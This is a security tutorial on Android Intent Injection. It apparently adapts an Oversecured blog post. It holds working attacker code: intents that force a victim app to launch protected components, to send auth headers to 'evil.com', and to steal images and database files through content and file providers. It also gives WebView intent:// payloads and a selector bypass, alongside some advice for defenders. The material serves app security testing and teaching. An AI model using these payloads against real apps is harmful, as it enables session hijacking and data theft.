# Intent Injection **Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/) ## Introduction This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \ Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \ This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. {% hint style="info" %} As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them. {% endhint %} ## A typical case Let us examine an example. Fragment of the `AndroidManifest.xml` file ```markup <activity android:name=".ProxyActivity" android:exported="true" /> <activity android:name=".AuthWebViewActivity" android:exported="false" /> ``` Activity `ProxyActivity` ```java startActivity((Intent) getIntent().getParcelableExtra("extra_intent")); ``` Activity `AuthWebViewActivity` ```java webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders()); ``` `AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter. Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call ```java Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); intent.putExtra("url", "http://evil.com/"); startActivity(intent); ``` throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`. But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**: ```java Intent extra = new Intent(); extra.setClassName("com.victim", "com.victim.AuthWebViewActivity"); extra.putExtra("url", "http://evil.com/"); Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions. ## Escalation of Impact In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks). ### Escalation of attacks via Content Providers Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions: * it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article) * it must have the **`android:grantUriPermissions`** flag set to **`true`**. * `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**. * `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`. The attacker must set itself as the recipient of an embedded intent and set the following flags * `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only) * `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc. * `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`) * `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile` ```markup <provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/> ``` Example of the theft of user pictures `AndroidManifest.xml` file ```markup <activity android:name=".LeakActivity" android:exported="true" /> ``` `MainActivity.java` file ```java Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); extra.setClassName(getPackageName(), "com.attacker.LeakActivity"); extra.setData(Uri.parse("content://com.victim.provider/")); Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` `LeakActivity.java` ```java Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1 Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image ``` ### Attacks on Android File Provider This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**. Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)) ```markup <provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/> </provider> ``` It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml` It may look somewhat like ```markup <?xml version="1.0" encoding="utf-8"?> <paths> <root-path name="root" path=""/> <files-path name="internal_files" path="."/> <cache-path name="cache" path=""/> <external-path name="external_files" path="images"/> </paths> ``` Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")` The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files. Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java` ```java Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); extra.setClassName(getPackageName(), "com.attacker.LeakActivity"); extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db")); Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` `LeakActivity.java` ```java InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server ``` ### Access to arbitrary components via WebView An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**. **This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side Example of vulnerable code ```java public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); if("intent".equals(uri.getScheme())) { startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME)); return true; } return super.shouldOverrideUrlLoading(view, request); } ``` The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler. To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation ```java Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); intent.putExtra("url", "http://evil.com/"); Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end" ``` Example attack ```java location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"; ``` This version contains **several restrictions compared to the classic versio**n of the vulnerability: * Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored) * The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare Many developers still forget to carry out a complete filtering of intents received via WebView ```java public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); if("intent".equals(uri.getScheme())) { Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME); intent.addCategory("android.intent.category.BROWSABLE"); intent.setComponent(null); startActivity(intent); return true; } return super.shouldOverrideUrlLoading(view, request); } ``` The attacker can specify a non-exported component via a selector ```java Intent intent = new Intent(); intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity")); intent.putExtra("url", "http://evil.com/"); Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end" ``` And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well ```java intent.addCategory("android.intent.category.BROWSABLE"); intent.setComponent(null); intent.setSelector(null); ``` But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration: ```markup <activity android:name=".AuthWebViewActivity" android:exported="false"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="victim" android:host="secure_handler" /> </intent-filter> </activity> ``` ```java webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders()); ``` We therefore recommend checking that an activity is exported before it is launched. ### Other ways of creating insecure intents Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it ```java Uri deeplinkUri = getIntent().getData(); if(deeplinkUri.toString().startsWith("deeplink://handle/")) { byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0); Parcel parcel = Parcel.obtain(); parcel.unmarshall(handle, 0, handle.length); startActivity((Intent) parcel.readParcelable(getClassLoader())); } ``` ## Vuln app {% embed url="https://github.com/oversecured/ovaa" %}